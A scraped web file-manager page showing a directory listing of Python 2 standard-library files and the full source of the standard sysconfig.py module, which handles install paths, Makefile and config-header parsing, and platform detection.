-rw-r--r--
user.py
1.59
KB
-rw-r--r--
user.pyc
1.68
KB
-rw-r--r--
user.pyo
1.68
KB
-rw-r--r--
uu.py
6.54
KB
-rwxr-xr-x
uu.pyc
4.29
KB
-rw-r--r--
uu.pyo
4.29
KB
-rw-r--r--
uuid.py
22.98
KB
-rw-r--r--
uuid.pyc
22.82
KB
-rw-r--r--
uuid.pyo
22.71
KB
-rw-r--r--
warnings.py
14.48
KB
-rw-r--r--
warnings.pyc
13.19
KB
-rw-r--r--
warnings.pyo
12.42
KB
-rw-r--r--
wave.py
18.15
KB
-rw-r--r--
wave.pyc
19.54
KB
-rw-r--r--
wave.pyo
19.4
KB
-rw-r--r--
weakref.py
14.48
KB
-rw-r--r--
weakref.pyc
16.06
KB
-rw-r--r--
weakref.pyo
16.06
KB
-rw-r--r--
webbrowser.py
22.19
KB
-rwxr-xr-x
webbrowser.pyc
19.29
KB
-rw-r--r--
webbrowser.pyo
19.24
KB
-rw-r--r--
whichdb.py
3.3
KB
-rw-r--r--
whichdb.pyc
2.19
KB
-rw-r--r--
whichdb.pyo
2.19
KB
-rw-r--r--
wsgiref.egg-info
187
B
-rw-r--r--
xdrlib.py
5.93
KB
-rw-r--r--
xdrlib.pyc
9.67
KB
-rw-r--r--
xdrlib.pyo
9.67
KB
-rw-r--r--
xmllib.py
34.05
KB
-rw-r--r--
xmllib.pyc
26.22
KB
-rw-r--r--
xmllib.pyo
26.22
KB
-rw-r--r--
xmlrpclib.py
50.91
KB
-rw-r--r--
xmlrpclib.pyc
43.07
KB
-rw-r--r--
xmlrpclib.pyo
42.89
KB
-rw-r--r--
zipfile.py
58.08
KB
-rw-r--r--
zipfile.pyc
41.15
KB
-rw-r--r--
zipfile.pyo
41.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sysconfig.py
"""Provide access to Python's configuration information. """ import sys import os from os.path import pardir, realpath _INSTALL_SCHEMES = { 'posix_prefix': { 'stdlib': '{base}/lib64/python{py_version_short}', 'platstdlib': '{platbase}/lib64/python{py_version_short}', 'purelib': '{base}/lib/python{py_version_short}/site-packages', 'platlib': '{platbase}/lib64/python{py_version_short}/site-packages', 'include': '{base}/include/python{py_version_short}', 'platinclude': '{platbase}/include/python{py_version_short}', 'scripts': '{base}/bin', 'data': '{base}', }, 'posix_home': { 'stdlib': '{base}/lib64/python', 'platstdlib': '{base}/lib64/python', 'purelib': '{base}/lib/python', 'platlib': '{base}/lib64/python', 'include': '{base}/include/python', 'platinclude': '{base}/include/python', 'scripts': '{base}/bin', 'data' : '{base}', }, 'nt': { 'stdlib': '{base}/Lib', 'platstdlib': '{base}/Lib', 'purelib': '{base}/Lib/site-packages', 'platlib': '{base}/Lib/site-packages', 'include': '{base}/Include', 'platinclude': '{base}/Include', 'scripts': '{base}/Scripts', 'data' : '{base}', }, 'os2': { 'stdlib': '{base}/Lib', 'platstdlib': '{base}/Lib', 'purelib': '{base}/Lib/site-packages', 'platlib': '{base}/Lib/site-packages', 'include': '{base}/Include', 'platinclude': '{base}/Include', 'scripts': '{base}/Scripts', 'data' : '{base}', }, 'os2_home': { 'stdlib': '{userbase}/lib/python{py_version_short}', 'platstdlib': '{userbase}/lib/python{py_version_short}', 'purelib': '{userbase}/lib/python{py_version_short}/site-packages', 'platlib': '{userbase}/lib/python{py_version_short}/site-packages', 'include': '{userbase}/include/python{py_version_short}', 'scripts': '{userbase}/bin', 'data' : '{userbase}', }, 'nt_user': { 'stdlib': '{userbase}/Python{py_version_nodot}', 'platstdlib': '{userbase}/Python{py_version_nodot}', 'purelib': '{userbase}/Python{py_version_nodot}/site-packages', 'platlib': '{userbase}/Python{py_version_nodot}/site-packages', 'include': '{userbase}/Python{py_version_nodot}/Include', 'scripts': '{userbase}/Scripts', 'data' : '{userbase}', }, 'posix_user': { 'stdlib': '{userbase}/lib64/python{py_version_short}', 'platstdlib': '{userbase}/lib64/python{py_version_short}', 'purelib': '{userbase}/lib/python{py_version_short}/site-packages', 'platlib': '{userbase}/lib64/python{py_version_short}/site-packages', 'include': '{userbase}/include/python{py_version_short}', 'scripts': '{userbase}/bin', 'data' : '{userbase}', }, 'osx_framework_user': { 'stdlib': '{userbase}/lib/python', 'platstdlib': '{userbase}/lib/python', 'purelib': '{userbase}/lib/python/site-packages', 'platlib': '{userbase}/lib/python/site-packages', 'include': '{userbase}/include', 'scripts': '{userbase}/bin', 'data' : '{userbase}', }, } _SCHEME_KEYS = ('stdlib', 'platstdlib', 'purelib', 'platlib', 'include', 'scripts', 'data') _PY_VERSION = sys.version.split()[0] _PY_VERSION_SHORT = sys.version[:3] _PY_VERSION_SHORT_NO_DOT = _PY_VERSION[0] + _PY_VERSION[2] _PREFIX = os.path.normpath(sys.prefix) _EXEC_PREFIX = os.path.normpath(sys.exec_prefix) _CONFIG_VARS = None _USER_BASE = None def _safe_realpath(path): try: return realpath(path) except OSError: return path if sys.executable: _PROJECT_BASE = os.path.dirname(_safe_realpath(sys.executable)) else: # sys.executable can be empty if argv[0] has been changed and Python is # unable to retrieve the real program name _PROJECT_BASE = _safe_realpath(os.getcwd()) if os.name == "nt" and "pcbuild" in _PROJECT_BASE[-8:].lower(): _PROJECT_BASE = _safe_realpath(os.path.join(_PROJECT_BASE, pardir)) # PC/VS7.1 if os.name == "nt" and "\\pc\\v" in _PROJECT_BASE[-10:].lower(): _PROJECT_BASE = _safe_realpath(os.path.join(_PROJECT_BASE, pardir, pardir)) # PC/VS9.0/amd64 if (os.name == "nt" and os.path.basename(os.path.dirname(os.path.dirname(_PROJECT_BASE))).lower() == "pc" and os.path.basename(os.path.dirname(_PROJECT_BASE)).lower() == "vs9.0"): _PROJECT_BASE = _safe_realpath(os.path.join(_PROJECT_BASE, pardir, pardir, pardir)) # PC/AMD64 if os.name == "nt" and "\\pcbuild\\amd64" in _PROJECT_BASE[-14:].lower(): _PROJECT_BASE = _safe_realpath(os.path.join(_PROJECT_BASE, pardir, pardir)) # set for cross builds if "_PYTHON_PROJECT_BASE" in os.environ: # the build directory for posix builds _PROJECT_BASE = os.path.normpath(os.path.abspath(".")) def is_python_build(): for fn in ("Setup.dist", "Setup.local"): if os.path.isfile(os.path.join(_PROJECT_BASE, "Modules", fn)): return True return False _PYTHON_BUILD = is_python_build() if _PYTHON_BUILD: for scheme in ('posix_prefix', 'posix_home'): _INSTALL_SCHEMES[scheme]['include'] = '{projectbase}/Include' _INSTALL_SCHEMES[scheme]['platinclude'] = '{srcdir}' def _subst_vars(s, local_vars): try: return s.format(**local_vars) except KeyError: try: return s.format(**os.environ) except KeyError, var: raise AttributeError('{%s}' % var) def _extend_dict(target_dict, other_dict): target_keys = target_dict.keys() for key, value in other_dict.items(): if key in target_keys: continue target_dict[key] = value def _expand_vars(scheme, vars): res = {} if vars is None: vars = {} _extend_dict(vars, get_config_vars()) for key, value in _INSTALL_SCHEMES[scheme].items(): if os.name in ('posix', 'nt'): value = os.path.expanduser(value) res[key] = os.path.normpath(_subst_vars(value, vars)) return res def _get_default_scheme(): if os.name == 'posix': # the default scheme for posix is posix_prefix return 'posix_prefix' return os.name def _getuserbase(): env_base = os.environ.get("PYTHONUSERBASE", None) def joinuser(*args): return os.path.expanduser(os.path.join(*args)) # what about 'os2emx', 'riscos' ? if os.name == "nt": base = os.environ.get("APPDATA") or "~" return env_base if env_base else joinuser(base, "Python") if sys.platform == "darwin": framework = get_config_var("PYTHONFRAMEWORK") if framework: return env_base if env_base else \ joinuser("~", "Library", framework, "%d.%d" % (sys.version_info[:2])) return env_base if env_base else joinuser("~", ".local") def _parse_makefile(filename, vars=None): """Parse a Makefile-style file. A dictionary containing name/value pairs is returned. If an optional dictionary is passed in as the second argument, it is used instead of a new dictionary. """ import re # Regexes needed for parsing Makefile (and similar syntaxes, # like old-style Setup files). _variable_rx = re.compile("([a-zA-Z][a-zA-Z0-9_]+)\s*=\s*(.*)") _findvar1_rx = re.compile(r"\$\(([A-Za-z][A-Za-z0-9_]*)\)") _findvar2_rx = re.compile(r"\${([A-Za-z][A-Za-z0-9_]*)}") if vars is None: vars = {} done = {} notdone = {} with open(filename) as f: lines = f.readlines() for line in lines: if line.startswith('#') or line.strip() == '': continue m = _variable_rx.match(line) if m: n, v = m.group(1, 2) v = v.strip() # `$$' is a literal `$' in make tmpv = v.replace('$$', '') if "$" in tmpv: notdone[n] = v else: try: v = int(v) except ValueError: # insert literal `$' done[n] = v.replace('$$', '$') else: done[n] = v # do variable interpolation here while notdone: for name in notdone.keys(): value = notdone[name] m = _findvar1_rx.search(value) or _findvar2_rx.search(value) if m: n = m.group(1) found = True if n in done: item = str(done[n]) elif n in notdone: # get it on a subsequent round found = False elif n in os.environ: # do it like make: fall back to environment item = os.environ[n] else: done[n] = item = "" if found: after = value[m.end():] value = value[:m.start()] + item + after if "$" in after: notdone[name] = value else: try: value = int(value) except ValueError: done[name] = value.strip() else: done[name] = value del notdone[name] else: # bogus variable reference; just drop it since we can't deal del notdone[name] # strip spurious spaces for k, v in done.items(): if isinstance(v, str): done[k] = v.strip() # save the results in the global dictionary vars.update(done) return vars def get_makefile_filename(): """Return the path of the Makefile.""" if _PYTHON_BUILD: return os.path.join(_PROJECT_BASE, "Makefile") return os.path.join(get_path('platstdlib'), "config", "Makefile") # Issue #22199: retain undocumented private name for compatibility _get_makefile_filename = get_makefile_filename def _generate_posix_vars(): """Generate the Python module containing build-time variables.""" import pprint vars = {} # load the installed Makefile: makefile = get_makefile_filename() try: _parse_makefile(makefile, vars) except IOError, e: msg = "invalid Python installation: unable to open %s" % makefile if hasattr(e, "strerror"): msg = msg + " (%s)" % e.strerror raise IOError(msg) # load the installed pyconfig.h: config_h = get_config_h_filename() try: with open(config_h) as f: parse_config_h(f, vars) except IOError, e: msg = "invalid Python installation: unable to open %s" % config_h if hasattr(e, "strerror"): msg = msg + " (%s)" % e.strerror raise IOError(msg) # On AIX, there are wrong paths to the linker scripts in the Makefile # -- these paths are relative to the Python source, but when installed # the scripts are in another directory. if _PYTHON_BUILD: vars['LDSHARED'] = vars['BLDSHARED'] # There's a chicken-and-egg situation on OS X with regards to the # _sysconfigdata module after the changes introduced by #15298: # get_config_vars() is called by get_platform() as part of the # `make pybuilddir.txt` target -- which is a precursor to the # _sysconfigdata.py module being constructed. Unfortunately, # get_config_vars() eventually calls _init_posix(), which attempts # to import _sysconfigdata, which we won't have built yet. In order # for _init_posix() to work, if we're on Darwin, just mock up the # _sysconfigdata module manually and populate it with the build vars. # This is more than sufficient for ensuring the subsequent call to # get_platform() succeeds. name = '_sysconfigdata' if 'darwin' in sys.platform: import imp module = imp.new_module(name) module.build_time_vars = vars sys.modules[name] = module pybuilddir = 'build/lib.%s-%s' % (get_platform(), sys.version[:3]) if hasattr(sys, "gettotalrefcount"): pybuilddir += '-pydebug' try: os.makedirs(pybuilddir) except OSError: pass destfile = os.path.join(pybuilddir, name + '.py') with open(destfile, 'wb') as f: f.write('# system configuration generated and used by' ' the sysconfig module\n') f.write('build_time_vars = ') pprint.pprint(vars, stream=f) # Create file used for sys.path fixup -- see Modules/getpath.c with open('pybuilddir.txt', 'w') as f: f.write(pybuilddir) def _init_posix(vars): """Initialize the module as appropriate for POSIX systems.""" # _sysconfigdata is generated at build time, see _generate_posix_vars() from _sysconfigdata import build_time_vars vars.update(build_time_vars) def _init_non_posix(vars): """Initialize the module as appropriate for NT""" # set basic install directories vars['LIBDEST'] = get_path('stdlib') vars['BINLIBDEST'] = get_path('platstdlib') vars['INCLUDEPY'] = get_path('include') vars['SO'] = '.pyd' vars['EXE'] = '.exe' vars['VERSION'] = _PY_VERSION_SHORT_NO_DOT vars['BINDIR'] = os.path.dirname(_safe_realpath(sys.executable)) # # public APIs # def parse_config_h(fp, vars=None): """Parse a config.h-style file. A dictionary containing name/value pairs is returned. If an optional dictionary is passed in as the second argument, it is used instead of a new dictionary. """ import re if vars is None: vars = {} define_rx = re.compile("#define ([A-Z][A-Za-z0-9_]+) (.*)\n") undef_rx = re.compile("/[*] #undef ([A-Z][A-Za-z0-9_]+) [*]/\n") while True: line = fp.readline() if not line: break m = define_rx.match(line) if m: n, v = m.group(1, 2) try: v = int(v) except ValueError: pass vars[n] = v else: m = undef_rx.match(line) if m: vars[m.group(1)] = 0 return vars def get_config_h_filename(): """Returns the path of pyconfig.h.""" if _PYTHON_BUILD: if os.name == "nt": inc_dir = os.path.join(_PROJECT_BASE, "PC") else: inc_dir = _PROJECT_BASE else: inc_dir = get_path('platinclude') return os.path.join(inc_dir, 'pyconfig-64.h') def get_scheme_names(): """Returns a tuple containing the schemes names.""" schemes = _INSTALL_SCHEMES.keys() schemes.sort() return tuple(schemes) def get_path_names(): """Returns a tuple containing the paths names.""" return _SCHEME_KEYS def get_paths(scheme=_get_default_scheme(), vars=None, expand=True): """Returns a mapping containing an install scheme. ``scheme`` is the install scheme name. If not provided, it will return the default scheme for the current platform. """ if expand: return _expand_vars(scheme, vars) else: return _INSTALL_SCHEMES[scheme] def get_path(name, scheme=_get_default_scheme(), vars=None, expand=True): """Returns a path corresponding to the scheme. ``scheme`` is the install scheme name. """ return get_paths(scheme, vars, expand)[name] def get_config_vars(*args): """With no arguments, return a dictionary of all configuration variables relevant for the current platform. On Unix, this means every variable defined in Python's installed Makefile; On Windows and Mac OS it's a much smaller set. With arguments, return a list of values that result from looking up each argument in the configuration variable dictionary. """ import re global _CONFIG_VARS if _CONFIG_VARS is None: _CONFIG_VARS = {} # Normalized versions of prefix and exec_prefix are handy to have; # in fact, these are the standard versions used most places in the # Distutils. _CONFIG_VARS['prefix'] = _PREFIX _CONFIG_VARS['exec_prefix'] = _EXEC_PREFIX _CONFIG_VARS['py_version'] = _PY_VERSION _CONFIG_VARS['py_version_short'] = _PY_VERSION_SHORT _CONFIG_VARS['py_version_nodot'] = _PY_VERSION[0] + _PY_VERSION[2] _CONFIG_VARS['base'] = _PREFIX _CONFIG_VARS['platbase'] = _EXEC_PREFIX _CONFIG_VARS['projectbase'] = _PROJECT_BASE if os.name in ('nt', 'os2'): _init_non_posix(_CONFIG_VARS) if os.name == 'posix': _init_posix(_CONFIG_VARS) # Setting 'userbase' is done below the call to the # init function to enable using 'get_config_var' in # the init-function. _CONFIG_VARS['userbase'] = _getuserbase() if 'srcdir' not in _CONFIG_VARS: _CONFIG_VARS['srcdir'] = _PROJECT_BASE # Convert srcdir into an absolute path if it appears necessary. # Normally it is relative to the build directory. However, during # testing, for example, we might be running a non-installed python # from a different directory. if _PYTHON_BUILD and os.name == "posix": base = _PROJECT_BASE try: cwd = os.getcwd() except OSError: cwd = None if (not os.path.isabs(_CONFIG_VARS['srcdir']) and base != cwd): # srcdir is relative and we are not in the same directory # as the executable. Assume executable is in the build # directory and make srcdir absolute. srcdir = os.path.join(base, _CONFIG_VARS['srcdir']) _CONFIG_VARS['srcdir'] = os.path.normpath(srcdir) # OS X platforms require special customization to handle # multi-architecture, multi-os-version installers if sys.platform == 'darwin': import _osx_support _osx_support.customize_config_vars(_CONFIG_VARS) if args: vals = [] for name in args: vals.append(_CONFIG_VARS.get(name)) return vals else: return _CONFIG_VARS def get_config_var(name): """Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name) """ return get_config_vars().get(name) def get_platform(): """Return a string that identifies the current platform. This is used mainly to distinguish platform-specific build directories and platform-specific built distributions. Typically includes the OS name and version and the architecture (as supplied by 'os.uname()'), although the exact information included depends on the OS; eg. for IRIX the architecture isn't particularly important (IRIX only runs on SGI hardware), but for Linux the kernel version isn't particularly important. Examples of returned values: linux-i586 linux-alpha (?) solaris-2.6-sun4u irix-5.3 irix64-6.2 Windows will return one of: win-amd64 (64bit Windows on AMD64 (aka x86_64, Intel64, EM64T, etc) win-ia64 (64bit Windows on Itanium) win32 (all others - specifically, sys.platform is returned) For other non-POSIX platforms, currently just returns 'sys.platform'. """ import re if os.name == 'nt': # sniff sys.version for architecture. prefix = " bit (" i = sys.version.find(prefix) if i == -1: return sys.platform j = sys.version.find(")", i) look = sys.version[i+len(prefix):j].lower() if look == 'amd64': return 'win-amd64' if look == 'itanium': return 'win-ia64' return sys.platform # Set for cross builds explicitly if "_PYTHON_HOST_PLATFORM" in os.environ: return os.environ["_PYTHON_HOST_PLATFORM"] if os.name != "posix" or not hasattr(os, 'uname'): # XXX what about the architecture? NT is Intel or Alpha, # Mac OS is M68k or PPC, etc. return sys.platform # Try to distinguish various flavours of Unix osname, host, release, version, machine = os.uname() # Convert the OS name to lowercase, remove '/' characters # (to accommodate BSD/OS), and translate spaces (for "Power Macintosh") osname = osname.lower().replace('/', '') machine = machine.replace(' ', '_') machine = machine.replace('/', '-') if osname[:5] == "linux": # At least on Linux/Intel, 'machine' is the processor -- # i386, etc. # XXX what about Alpha, SPARC, etc? return "%s-%s" % (osname, machine) elif osname[:5] == "sunos": if release[0] >= "5": # SunOS 5 == Solaris 2 osname = "solaris" release = "%d.%s" % (int(release[0]) - 3, release[2:]) # We can't use "platform.architecture()[0]" because a # bootstrap problem. We use a dict to get an error # if some suspicious happens. bitness = {2147483647:"32bit", 9223372036854775807:"64bit"} machine += ".%s" % bitness[sys.maxint] # fall through to standard osname-release-machine representation elif osname[:4] == "irix": # could be "irix64"! return "%s-%s" % (osname, release) elif osname[:3] == "aix": return "%s-%s.%s" % (osname, version, release) elif osname[:6] == "cygwin": osname = "cygwin" rel_re = re.compile (r'[\d.]+') m = rel_re.match(release) if m: release = m.group() elif osname[:6] == "darwin": import _osx_support osname, release, machine = _osx_support.get_platform_osx( get_config_vars(), osname, release, machine) return "%s-%s-%s" % (osname, release, machine) def get_python_version(): return _PY_VERSION_SHORT def _print_dict(title, data): for index, (key, value) in enumerate(sorted(data.items())): if index == 0: print '%s: ' % (title) print '\t%s = "%s"' % (key, value) def _main(): """Display all information sysconfig detains.""" if '--generate-posix-vars' in sys.argv: _generate_posix_vars() return print 'Platform: "%s"' % get_platform() print 'Python version: "%s"' % get_python_version() print 'Current installation scheme: "%s"' % _get_default_scheme() print _print_dict('Paths', get_paths()) print _print_dict('Variables', get_config_vars()) if __name__ == '__main__': _main()
Close